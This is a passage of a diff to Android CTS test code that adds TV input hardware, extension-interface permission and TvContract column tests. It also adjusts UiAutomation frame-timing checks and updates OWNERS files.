 include platform/frameworks/base:/core/java/android/view/textclassifier/OWNERS
diff --git a/tests/tests/time/OWNERS b/tests/tests/time/OWNERS
index a81fa72..be0513d7 100644
--- a/tests/tests/time/OWNERS
+++ b/tests/tests/time/OWNERS
@@ -1,3 +1,2 @@
 # Bug component: 847766
-nfuller@google.com
-include platform/frameworks/base:/core/java/android/app/timedetector/OWNERS
+include platform/frameworks/base:/services/core/java/com/android/server/timezonedetector/OWNERS
diff --git a/tests/tests/tv/AndroidManifest.xml b/tests/tests/tv/AndroidManifest.xml
index 196b5c7..6f1b399 100644
--- a/tests/tests/tv/AndroidManifest.xml
+++ b/tests/tests/tv/AndroidManifest.xml
@@ -18,6 +18,10 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="android.tv.cts">
 
+    <permission android:name="android.media.tv.cts.TvInputManagerTest.PERMISSION_GRANTED"/>
+    <permission android:name="android.media.tv.cts.TvInputManagerTest.PERMISSION_UNGRANTED"/>
+    <uses-permission android:name="android.media.tv.cts.TvInputManagerTest.PERMISSION_GRANTED"/>
+
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <uses-permission android:name="android.permission.INJECT_EVENTS"/>
 
@@ -82,6 +86,17 @@
                  android:resource="@xml/stub_tv_input_service"/>
         </service>
 
+        <service android:name="android.media.tv.cts.TvInputManagerTest$StubHardwareTvInputService"
+             android:enabled="false"
+             android:permission="android.permission.BIND_TV_INPUT"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.media.tv.TvInputService" />
+            </intent-filter>
+            <meta-data android:name="android.media.tv.input"
+                       android:resource="@xml/stub_tv_input_service" />
+        </service>
+
         <service android:name="android.media.tv.cts.TvInputServiceTest$CountingTvInputService"
              android:permission="android.permission.BIND_TV_INPUT"
              android:exported="true">
diff --git a/tests/tests/tv/OWNERS b/tests/tests/tv/OWNERS
index 215ebb0..e562f11 100644
--- a/tests/tests/tv/OWNERS
+++ b/tests/tests/tv/OWNERS
@@ -1,5 +1,4 @@
 # Bug component: 105760
-amyjojo@google.com
-nchalko@google.com
 quxiangfang@google.com
 shubang@google.com
+hgchen@google.com
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
index 4938737..51707dc 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
@@ -183,6 +183,9 @@
         values.put(Programs.COLUMN_REVIEW_RATING_STYLE,
                 RecordedPrograms.REVIEW_RATING_STYLE_STARS);
         values.put(Programs.COLUMN_REVIEW_RATING, "4.5");
+        values.put(Programs.COLUMN_SCRAMBLED, 0);
+        values.put(Programs.COLUMN_MULTI_SERIES_ID, "series-1, series-X");
+        values.put(Programs.COLUMN_INTERNAL_PROVIDER_ID, "AAA-BBB-CCC");
 
         return values;
     }
@@ -241,6 +244,8 @@
         values.put(PreviewPrograms.COLUMN_REVIEW_RATING_STYLE,
                 PreviewPrograms.REVIEW_RATING_STYLE_STARS);
         values.put(PreviewPrograms.COLUMN_REVIEW_RATING, "4.5");
+        values.put(PreviewPrograms.COLUMN_START_TIME_UTC_MILLIS, 1600000000);
+        values.put(PreviewPrograms.COLUMN_END_TIME_UTC_MILLIS, 1603600000);
         values.put(WatchNextPrograms.COLUMN_CONTENT_ID, "CID-125-6335");
 
         return values;
@@ -283,7 +288,8 @@
         values.put(RecordedPrograms.COLUMN_REVIEW_RATING_STYLE,
                 RecordedPrograms.REVIEW_RATING_STYLE_STARS);
         values.put(RecordedPrograms.COLUMN_REVIEW_RATING, "4.5");
-
+        values.put(RecordedPrograms.COLUMN_MULTI_SERIES_ID, "series-1, series-X");
+        values.put(RecordedPrograms.COLUMN_INTERNAL_PROVIDER_ID, "AAA-BBB-CCC");
         return values;
     }
 
@@ -740,6 +746,9 @@
             verifyIntegerColumn(cursor, expectedValues, Programs.COLUMN_VERSION_NUMBER);
             verifyStringColumn(cursor, expectedValues, Programs.COLUMN_REVIEW_RATING_STYLE);
             verifyStringColumn(cursor, expectedValues, Programs.COLUMN_REVIEW_RATING);
+            verifyIntegerColumn(cursor, expectedValues, Programs.COLUMN_SCRAMBLED);
+            verifyStringColumn(cursor, expectedValues, Programs.COLUMN_MULTI_SERIES_ID);
+            verifyStringColumn(cursor, expectedValues, Programs.COLUMN_INTERNAL_PROVIDER_ID);
         }
     }
 
@@ -793,6 +802,9 @@
             verifyIntegerColumn(cursor, expectedValues, PreviewPrograms.COLUMN_INTERACTION_COUNT);
             verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_AUTHOR);
             verifyIntegerColumn(cursor, expectedValues, PreviewPrograms.COLUMN_REVIEW_RATING_STYLE);
+            verifyIntegerColumn(cursor, expectedValues,
+                    PreviewPrograms.COLUMN_START_TIME_UTC_MILLIS);
+            verifyIntegerColumn(cursor, expectedValues, PreviewPrograms.COLUMN_END_TIME_UTC_MILLIS);
             verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_REVIEW_RATING);
         }
     }
@@ -878,6 +890,9 @@
         values.put(Programs.COLUMN_TITLE, "new_program_title");
         values.put(Programs.COLUMN_SHORT_DESCRIPTION, "");
         values.put(Programs.COLUMN_INTERNAL_PROVIDER_DATA, "Coffee".getBytes());
+        values.put(Programs.COLUMN_SCRAMBLED, 1);
+        values.put(Programs.COLUMN_MULTI_SERIES_ID, "series-2, series-Y");
+        values.put(Programs.COLUMN_INTERNAL_PROVIDER_ID, "XXX-YYY-ZZZ");
 
         mContentResolver.update(programUri, values, null, null);
         verifyProgram(programUri, values, programId);
@@ -1205,6 +1220,8 @@
             verifyIntegerColumn(cursor, expectedValues, RecordedPrograms.COLUMN_VERSION_NUMBER);
             verifyStringColumn(cursor, expectedValues, RecordedPrograms.COLUMN_REVIEW_RATING_STYLE);
             verifyStringColumn(cursor, expectedValues, RecordedPrograms.COLUMN_REVIEW_RATING);
+            verifyStringColumn(cursor, expectedValues, RecordedPrograms.COLUMN_MULTI_SERIES_ID);
+            verifyStringColumn(cursor, expectedValues, RecordedPrograms.COLUMN_INTERNAL_PROVIDER_ID);
         }
     }
 
@@ -1222,6 +1239,8 @@
         values.put(RecordedPrograms.COLUMN_SHORT_DESCRIPTION, "short_description1");
         values.put(RecordedPrograms.COLUMN_INTERNAL_PROVIDER_DATA,
                 "internal_provider_data1".getBytes());
+        values.put(RecordedPrograms.COLUMN_MULTI_SERIES_ID, "series-2, series-Y");
+        values.put(RecordedPrograms.COLUMN_INTERNAL_PROVIDER_ID, "XXX-YYY-ZZZ");
 
         mContentResolver.update(recordedProgramUri, values, null, null);
         verifyRecordedProgram(recordedProgramUri, values, recordedProgramId);
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
index 87b8913..402431d 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
@@ -20,8 +20,12 @@
 import android.app.Instrumentation;
 import android.content.ComponentName;
 import android.content.Context;
+import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.database.Cursor;
+import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.tv.cts.TvViewTest.MockCallback;
 import android.media.tv.TunedInfo;
@@ -36,8 +40,10 @@
 import android.media.tv.TvStreamConfig;
 import android.media.tv.TvView;
 import android.net.Uri;
+import android.os.Binder;
 import android.os.Bundle;
 import android.os.Handler;
+import android.os.IBinder;
 import android.test.ActivityInstrumentationTestCase2;
 import android.tv.cts.R;
 
@@ -47,8 +53,11 @@
 
 import java.io.IOException;
 import java.util.ArrayList;
-import java.util.concurrent.Executor;
+import java.util.Arrays;
+import java.util.HashMap;
 import java.util.List;
+import java.util.Map;
+import java.util.concurrent.Executor;
 
 import org.xmlpull.v1.XmlPullParserException;
 
@@ -59,12 +68,26 @@
     /** The maximum time to wait for an operation. */
     private static final long TIME_OUT_MS = 15000L;
 
+    private static final int DUMMY_DEVICE_ID = Integer.MAX_VALUE;
     private static final String[] VALID_TV_INPUT_SERVICES = {
         StubTunerTvInputService.class.getName()
     };
     private static final String[] INVALID_TV_INPUT_SERVICES = {
         NoMetadataTvInputService.class.getName(), NoPermissionTvInputService.class.getName()
     };
+    private static final String EXTENSION_INTERFACE_NAME_WITHOUT_PERMISSION =
+            "android.media.tv.cts.TvInputManagerTest.EXTENSION_INTERFACE_NAME_WITHOUT_PERMISSION";
+    private static final String EXTENSION_INTERFACE_NAME_WITH_PERMISSION_GRANTED =
+            "android.media.tv.cts.TvInputManagerTest"
+            + ".EXTENSION_INTERFACE_NAME_WITH_PERMISSION_GRANTED";
+    private static final String EXTENSION_INTERFACE_NAME_WITH_PERMISSION_UNGRANTED =
+            "android.media.tv.cts.TvInputManagerTest"
+            + ".EXTENSION_INTERFACE_NAME_WITH_PERMISSION_UNGRANTED";
+    private static final String PERMISSION_GRANTED =
+            "android.media.tv.cts.TvInputManagerTest.PERMISSION_GRANTED";
+    private static final String PERMISSION_UNGRANTED =
+            "android.media.tv.cts.TvInputManagerTest.PERMISSION_UNGRANTED";
+
     private static final TvContentRating DUMMY_RATING = TvContentRating.createRating(
             "com.android.tv", "US_TV", "US_TV_PG", "US_TV_D", "US_TV_L");
 
@@ -78,6 +101,12 @@
             "android.permission.TV_INPUT_HARDWARE";
     private static final String PERMISSION_TUNER_RESOURCE_ACCESS =
             "android.permission.TUNER_RESOURCE_ACCESS";
+    private static final String[] BASE_SHELL_PERMISSIONS = {
+            PERMISSION_ACCESS_WATCHED_PROGRAMS,
+            PERMISSION_WRITE_EPG_DATA,
+            PERMISSION_ACCESS_TUNED_INFO,
+            PERMISSION_TUNER_RESOURCE_ACCESS
+    };
 
     private String mStubId;
     private TvInputManager mManager;
@@ -98,6 +127,68 @@
         return null;
     }
 
+    private static boolean isHardwareDeviceAdded(List<TvInputHardwareInfo> list, int deviceId) {
+        if (list != null) {
+            for (TvInputHardwareInfo info : list) {
+                if (info.getDeviceId() == deviceId) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    private String prepareStubHardwareTvInputService() {
+        String[] newPermissions = Arrays.copyOf(
+                BASE_SHELL_PERMISSIONS, BASE_SHELL_PERMISSIONS.length + 1);
+        newPermissions[BASE_SHELL_PERMISSIONS.length] = PERMISSION_TV_INPUT_HARDWARE;
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(newPermissions);
+
+        // Use the test api to add an HDMI hardware device
+        mManager.addHardwareDevice(DUMMY_DEVICE_ID);
+        assertTrue(isHardwareDeviceAdded(mManager.getHardwareList(), DUMMY_DEVICE_ID));
+
+        PackageManager pm = getActivity().getPackageManager();
+        ComponentName component =
+                new ComponentName(getActivity(), StubHardwareTvInputService.class);
+        pm.setComponentEnabledSetting(component, PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+                PackageManager.DONT_KILL_APP);
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return null != getInfoForClassName(
+                        mManager.getTvInputList(), StubHardwareTvInputService.class.getName());
+            }
+        }.run();
+
+        TvInputInfo info = getInfoForClassName(
+                mManager.getTvInputList(), StubHardwareTvInputService.class.getName());
+        assertNotNull(info);
+        return info.getId();
+    }
+
+    private void cleanupStubHardwareTvInputService() {
+        // Restore the base shell permissions
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(BASE_SHELL_PERMISSIONS);
+
+        PackageManager pm = getActivity().getPackageManager();
+        ComponentName component =
+                new ComponentName(getActivity(), StubHardwareTvInputService.class);
+        pm.setComponentEnabledSetting(component, PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+                PackageManager.DONT_KILL_APP);
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return null == getInfoForClassName(
+                        mManager.getTvInputList(), StubHardwareTvInputService.class.getName());
+            }
+        }.run();
+
+        mManager.removeHardwareDevice(DUMMY_DEVICE_ID);
+    }
+
     public TvInputManagerTest() {
         super(TvViewStubActivity.class);
     }
@@ -110,14 +201,8 @@
             return;
         }
 
-        InstrumentationRegistry
-                .getInstrumentation()
-                .getUiAutomation()
-                .adoptShellPermissionIdentity(
-                        PERMISSION_ACCESS_WATCHED_PROGRAMS,
-                        PERMISSION_WRITE_EPG_DATA,
-                        PERMISSION_ACCESS_TUNED_INFO,
-                        PERMISSION_TUNER_RESOURCE_ACCESS);
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(BASE_SHELL_PERMISSIONS);
 
         mInstrumentation = getInstrumentation();
         mTvView = findTvViewById(R.id.tvview);
@@ -411,16 +496,15 @@
     }
 
     public void testAcquireTvInputHardware() {
-        if (mManager == null) {
+        if (!Utils.hasTvInputFramework(getActivity()) || mManager == null) {
             return;
         }
 
-        InstrumentationRegistry
-                .getInstrumentation()
-                .getUiAutomation()
-                .adoptShellPermissionIdentity(
-                        PERMISSION_WRITE_EPG_DATA,
-                        PERMISSION_TV_INPUT_HARDWARE);
+        String[] newPermissions = Arrays.copyOf(
+                BASE_SHELL_PERMISSIONS, BASE_SHELL_PERMISSIONS.length + 1);
+        newPermissions[BASE_SHELL_PERMISSIONS.length] = PERMISSION_TV_INPUT_HARDWARE;
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(newPermissions);
 
         // Update hardware device list
         int deviceId = 0;
@@ -461,6 +545,121 @@
         if (hardwareDeviceAdded) {
             mManager.removeHardwareDevice(deviceId);
         }
+        // Restore the base shell permissions
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(BASE_SHELL_PERMISSIONS);
+    }
+
+    public void testTvInputHardwareOverrideAudioSink() {
+        if (!Utils.hasTvInputFramework(getActivity()) || mManager == null) {
+            return;
+        }
+
+        // Update hardware device list
+        int deviceId = 0;
+        boolean hardwareDeviceAdded = false;
+        List<TvInputHardwareInfo> hardwareList = mManager.getHardwareList();
+        if (hardwareList == null || hardwareList.isEmpty()) {
+            // Use the test api to add an HDMI hardware device
+            mManager.addHardwareDevice(deviceId);
+            hardwareDeviceAdded = true;
+        } else {
+            deviceId = hardwareList.get(0).getDeviceId();
+        }
+
+        // Acquire Hardware with a record client
+        HardwareCallback callback = new HardwareCallback() {
+            @Override
+            public void onReleased() {
+            }
+
+            @Override
+            public void onStreamConfigChanged(TvStreamConfig[] configs) {
+            }
+        };
+        CallbackExecutor executor = new CallbackExecutor();
+        Hardware hardware = mManager.acquireTvInputHardware(
+                deviceId, mStubTvInputInfo, null /*tvInputSessionId*/,
+                TvInputService.PRIORITY_HINT_USE_CASE_TYPE_PLAYBACK,
+                executor, callback);
+        assertNotNull(hardware);
+
+        // Override audio sink
+        try {
+            AudioManager am = mActivity.getSystemService(AudioManager.class);
+            AudioDeviceInfo[] deviceInfos = am.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+            if (deviceInfos.length > 0) {
+                // test available overrideAudioSink APIs
+                hardware.overrideAudioSink(deviceInfos[0], 0,
+                        AudioFormat.CHANNEL_OUT_DEFAULT, AudioFormat.ENCODING_DEFAULT);
+                hardware.overrideAudioSink(deviceInfos[0].getType(), deviceInfos[0].getAddress(), 0,
+                        AudioFormat.CHANNEL_OUT_DEFAULT, AudioFormat.ENCODING_DEFAULT);
+            }
+        } catch (Exception e) {
+            fail();
+        } finally {
+            if (hardwareDeviceAdded) {
+                mManager.removeHardwareDevice(deviceId);
+            }
+        }
+    }
+
+    public void testGetAvailableExtensionInterfaceNames() {
+        if (!Utils.hasTvInputFramework(getActivity())) {
+            return;
+        }
+
+        try {
+            String inputId = prepareStubHardwareTvInputService();
+
+            StubHardwareTvInputService.injectAvailableExtensionInterface(
+                    EXTENSION_INTERFACE_NAME_WITHOUT_PERMISSION, null);
+            StubHardwareTvInputService.injectAvailableExtensionInterface(
+                    EXTENSION_INTERFACE_NAME_WITH_PERMISSION_GRANTED, PERMISSION_GRANTED);
+            StubHardwareTvInputService.injectAvailableExtensionInterface(
+                    EXTENSION_INTERFACE_NAME_WITH_PERMISSION_UNGRANTED, PERMISSION_UNGRANTED);
+
+            List<String> names = mManager.getAvailableExtensionInterfaceNames(inputId);
+            assertTrue(names != null && !names.isEmpty());
+            assertTrue(names.contains(EXTENSION_INTERFACE_NAME_WITHOUT_PERMISSION));
+            assertTrue(names.contains(EXTENSION_INTERFACE_NAME_WITH_PERMISSION_GRANTED));
+            assertFalse(names.contains(EXTENSION_INTERFACE_NAME_WITH_PERMISSION_UNGRANTED));
+
+            StubHardwareTvInputService.clearAvailableExtensionInterfaces();
+
+            names = mManager.getAvailableExtensionInterfaceNames(inputId);
+            assertTrue(names != null && names.isEmpty());
+        } finally {
+            StubHardwareTvInputService.clearAvailableExtensionInterfaces();
+            cleanupStubHardwareTvInputService();
+        }
+    }
+
+    public void testGetExtensionInterface() {
+        if (!Utils.hasTvInputFramework(getActivity())) {
+            return;
+        }
+
+        try {
+            String inputId = prepareStubHardwareTvInputService();
+
+            StubHardwareTvInputService.injectAvailableExtensionInterface(
+                    EXTENSION_INTERFACE_NAME_WITHOUT_PERMISSION, null);
+            StubHardwareTvInputService.injectAvailableExtensionInterface(
+                    EXTENSION_INTERFACE_NAME_WITH_PERMISSION_GRANTED, PERMISSION_GRANTED);
+            StubHardwareTvInputService.injectAvailableExtensionInterface(
+                    EXTENSION_INTERFACE_NAME_WITH_PERMISSION_UNGRANTED, PERMISSION_UNGRANTED);
+
+            assertNotNull(mManager.getExtensionInterface(inputId,
+                    EXTENSION_INTERFACE_NAME_WITHOUT_PERMISSION));
+            assertNotNull(mManager.getExtensionInterface(inputId,
+                    EXTENSION_INTERFACE_NAME_WITH_PERMISSION_GRANTED));
+            assertNull(mManager.getExtensionInterface(inputId,
+                    EXTENSION_INTERFACE_NAME_WITH_PERMISSION_UNGRANTED));
+        } finally {
+            StubHardwareTvInputService.clearAvailableExtensionInterfaces();
+            cleanupStubHardwareTvInputService();
+        }
     }
 
     private static class LoggingCallback extends TvInputManager.TvInputCallback {
@@ -519,6 +718,74 @@
         }
     }
 
+    public static class StubHardwareTvInputService extends TvInputService {
+        private static final Map<String, String> sAvailableExtensionInterfaceMap = new HashMap<>();
+
+        private ResolveInfo mResolveInfo = null;
+        private TvInputInfo mTvInputInfo = null;
+
+        public static void clearAvailableExtensionInterfaces() {
+            sAvailableExtensionInterfaceMap.clear();
+        }
+
+        public static void injectAvailableExtensionInterface(String name, String permission) {
+            sAvailableExtensionInterfaceMap.put(name, permission);
+        }
+
+        @Override
+        public void onCreate() {
+            mResolveInfo = getPackageManager().resolveService(
+                    new Intent(SERVICE_INTERFACE).setClass(this, getClass()),
+                    PackageManager.GET_SERVICES | PackageManager.GET_META_DATA);
+        }
+
+        @Override
+        public  TvInputInfo onHardwareAdded(TvInputHardwareInfo hardwareInfo) {
+            TvInputInfo info = null;
+            if (hardwareInfo.getDeviceId() == DUMMY_DEVICE_ID) {
+                info = new TvInputInfo.Builder(this, mResolveInfo)
+                        .setTvInputHardwareInfo(hardwareInfo)
+                        .build();
+                mTvInputInfo = info;
+            }
+            return info;
+        }
+
+        @Override
+        public String onHardwareRemoved(TvInputHardwareInfo hardwareInfo) {
+            String inputId = null;
+            if (hardwareInfo.getDeviceId() == DUMMY_DEVICE_ID && mTvInputInfo != null) {
+                inputId = mTvInputInfo.getId();
+                mTvInputInfo = null;
+            }
+            return inputId;
+        }
+
+        @Override
+        public Session onCreateSession(String inputId) {
+            return null;
+        }
+
+        @Override
+        public List<String> getAvailableExtensionInterfaceNames() {
+            return new ArrayList<>(sAvailableExtensionInterfaceMap.keySet());
+        }
+
+        @Override
+        public String getExtensionInterfacePermission(String name) {
+            return sAvailableExtensionInterfaceMap.get(name);
+        }
+
+        @Override
+        public IBinder getExtensionInterface(String name) {
+            if (sAvailableExtensionInterfaceMap.containsKey(name)) {
+                return new Binder();
+            } else {
+                return null;
+            }
+        }
+    }
+
     public class CallbackExecutor implements Executor {
         @Override
         public void execute(Runnable r) {
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputServiceTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputServiceTest.java
index e643161..3823314 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvInputServiceTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvInputServiceTest.java
@@ -603,6 +603,7 @@
         final long now = SystemClock.uptimeMillis();
         final MotionEvent event = MotionEvent.obtain(now, now, MotionEvent.ACTION_DOWN, 1.0f, 1.0f,
                 1.0f, 1.0f, 0, 1.0f, 1.0f, 0, 0);
+        event.setSource(InputDevice.SOURCE_UNKNOWN);
         onTvView(tvView -> tvView.dispatchGenericMotionEvent(event));
         mInstrumentation.waitForIdleSync();
         PollingCheck.waitFor(TIME_OUT, () -> session.mGenricMotionEventCount > 0);
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
index 13effcd..018bb28 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
@@ -447,8 +447,10 @@
         mInstrumentation.waitForIdleSync();
         assertTrue(mTvView.isFocused());
 
-        verifyKeyEvent(new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_GUIDE), unhandledEvent);
-        verifyKeyEvent(new KeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_GUIDE), unhandledEvent);
+        verifyKeyEvent(
+                new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_BUTTON_16), unhandledEvent);
+        verifyKeyEvent(
+                new KeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_BUTTON_16), unhandledEvent);
     }
 
     public void testConnectionFailed() throws Throwable {
diff --git a/tests/tests/uiautomation/OWNERS b/tests/tests/uiautomation/OWNERS
index bf9a18d..70a5364 100644
--- a/tests/tests/uiautomation/OWNERS
+++ b/tests/tests/uiautomation/OWNERS
@@ -1,5 +1,4 @@
 # Bug component: 44215
-pweaver@google.com
-rhedjao@google.com
-qasid@google.com
 ryanlwlin@google.com
+sallyyuen@google.com
+pweaver@google.com
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
index a00611c..93cb563 100755
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
@@ -39,6 +39,7 @@
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
 import android.provider.Settings;
+import android.text.TextUtils;
 import android.view.FrameStats;
 import android.view.KeyEvent;
 import android.view.WindowAnimationFrameStats;
@@ -189,7 +190,7 @@
             getInstrumentation().waitForIdleSync();
 
             // Find the application window.
-            final int windowId = findAppWindowId(uiAutomation.getWindows());
+            final int windowId = findAppWindowId(uiAutomation.getWindows(), activity);
             assertTrue(windowId >= 0);
 
             // Clear stats to be with a clean slate.
@@ -251,7 +252,7 @@
             getInstrumentation().waitForIdleSync();
 
             // Find the application window.
-            final int windowId = findAppWindowId(uiAutomation.getWindows());
+            final int windowId = findAppWindowId(uiAutomation.getWindows(), activity);
             assertTrue(windowId >= 0);
 
             // Clear stats to be with a clean slate.
@@ -587,31 +588,48 @@
     }
 
     private void assertWindowContentTimestampsInAscendingOrder(WindowContentFrameStats stats) {
-        long lastExpectedTimeNano = 0;
-        long lastPresentedTimeNano = 0;
-        long lastPreparedTimeNano = 0;
+        long lastDesiredPresentTimeNano = 0;
+        long lastPreviousFramePresentTimeNano = 0;
+        long lastFrameReadyTimeNano = 0;
+
+        String statsDebugDump = stats.toString();
+        for (int i = 0; i < stats.getFrameCount(); i++) {
+            statsDebugDump += " [" + i + ":" +
+            stats.getFramePostedTimeNano(i) + " " +
+            stats.getFramePresentedTimeNano(i) + " " + stats.getFrameReadyTimeNano(i)  + "] ";
+        }
 
         final int frameCount = stats.getFrameCount();
         for (int i = 0; i < frameCount; i++) {
-            final long expectedTimeNano = stats.getFramePostedTimeNano(i);
-            assertTrue(expectedTimeNano >= lastExpectedTimeNano);
-            lastExpectedTimeNano = expectedTimeNano;
+            final long desiredPresentTimeNano = stats.getFramePostedTimeNano(i);
+            final long previousFramePresentTimeNano = stats.getFramePresentedTimeNano(i);
+            final long frameReadyTimeNano = stats.getFrameReadyTimeNano(i);
 
-            final long presentedTimeNano = stats.getFramePresentedTimeNano(i);
-            if (lastPresentedTimeNano == FrameStats.UNDEFINED_TIME_NANO) {
-                assertTrue(presentedTimeNano == FrameStats.UNDEFINED_TIME_NANO);
-            } else if (presentedTimeNano != FrameStats.UNDEFINED_TIME_NANO) {
-                assertTrue(presentedTimeNano >= lastPresentedTimeNano);
+            if (desiredPresentTimeNano == FrameStats.UNDEFINED_TIME_NANO ||
+                previousFramePresentTimeNano == FrameStats.UNDEFINED_TIME_NANO ||
+                frameReadyTimeNano == FrameStats.UNDEFINED_TIME_NANO) {
+                continue;
             }
-            lastPresentedTimeNano = presentedTimeNano;
 
-            final long preparedTimeNano = stats.getFrameReadyTimeNano(i);
-            if (lastPreparedTimeNano == FrameStats.UNDEFINED_TIME_NANO) {
-                assertTrue(preparedTimeNano == FrameStats.UNDEFINED_TIME_NANO);
-            } else if (preparedTimeNano != FrameStats.UNDEFINED_TIME_NANO) {
-                assertTrue(preparedTimeNano >= lastPreparedTimeNano);
+            if (i > 0) {
+                // WindowContentFrameStats#getFramePresentedTimeNano() returns the previous frame
+                // presented time, so verify the actual presented timestamp is ahead of the
+                // last frame's desired present time and frame ready time.
+
+                // NOTE: actual present time maybe an estimate. If this test continues to be flaky,
+                // we may need to add a margin like the one below.
+                // previousFramePresentTimeNano += stats.getRefreshPeriodNano() / 2;
+                assertTrue("Failed frame:" + i + statsDebugDump,
+                        previousFramePresentTimeNano >= lastDesiredPresentTimeNano);
+                assertTrue("Failed frame:" + i + statsDebugDump,
+                        previousFramePresentTimeNano >= lastFrameReadyTimeNano);
             }
-            lastPreparedTimeNano = preparedTimeNano;
+            assertTrue("Failed frame:" + i + statsDebugDump,
+                    previousFramePresentTimeNano >= lastPreviousFramePresentTimeNano);
+
+            lastDesiredPresentTimeNano = desiredPresentTimeNano;
+            lastPreviousFramePresentTimeNano = previousFramePresentTimeNano;
+            lastFrameReadyTimeNano = frameReadyTimeNano;
         }
     }
 
@@ -636,11 +654,13 @@
         waitForAccessibilityServiceToStart();
     }
 
-    private int findAppWindowId(List<AccessibilityWindowInfo> windows) {
+    private int findAppWindowId(List<AccessibilityWindowInfo> windows, Activity activity) {
+        final CharSequence activityTitle = getActivityTitle(getInstrumentation(), activity);
         final int windowCount = windows.size();
         for (int i = 0; i < windowCount; i++) {
             AccessibilityWindowInfo window = windows.get(i);
-            if (window.getType() == AccessibilityWindowInfo.TYPE_APPLICATION) {
+            if (window.getType() == AccessibilityWindowInfo.TYPE_APPLICATION
+                    && TextUtils.equals(window.getTitle(), activityTitle)) {
                 return window.getId();
             }
         }
@@ -650,4 +670,11 @@
     private Instrumentation getInstrumentation() {
         return InstrumentationRegistry.getInstrumentation();
     }
+
+    private static CharSequence getActivityTitle(
+            Instrumentation instrumentation, Activity activity) {
+        final StringBuilder titleBuilder = new StringBuilder();
+        instrumentation.runOnMainSync(() -> titleBuilder.append(activity.getTitle()));
+        return titleBuilder;
+    }
 }
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java
index 839a290..7f17563 100644
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java
@@ -31,6 +31,7 @@
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
+        overridePendingTransition(android.R.anim.fade_in, android.R.anim.fade_out);
         setContentView(R.layout.ui_automation_test);
 
         getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java
index 4ba0f74..5a0b6d8 100644
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java
@@ -30,6 +30,7 @@
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
+        overridePendingTransition(android.R.anim.fade_in, android.R.anim.fade_out);
         setContentView(R.layout.ui_automation_test);
 
         getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
diff --git a/tests/tests/uirendering/TEST_MAPPING b/tests/tests/uirendering/TEST_MAPPING
index 76671be..3344734 100644
--- a/tests/tests/uirendering/TEST_MAPPING
+++ b/tests/tests/uirendering/TEST_MAPPING
@@ -8,5 +8,15 @@
         }
       ]
     }
+  ],
+  "hwasan-postsubmit": [
+    {
+      "name": "CtsUiRenderingTestCases",
+      "options": [
+        {
+          "exclude-annotation": "android.uirendering.cts.runner.SkipPresubmit"
+        }
+      ]
+    }
   ]
 }
\ No newline at end of file
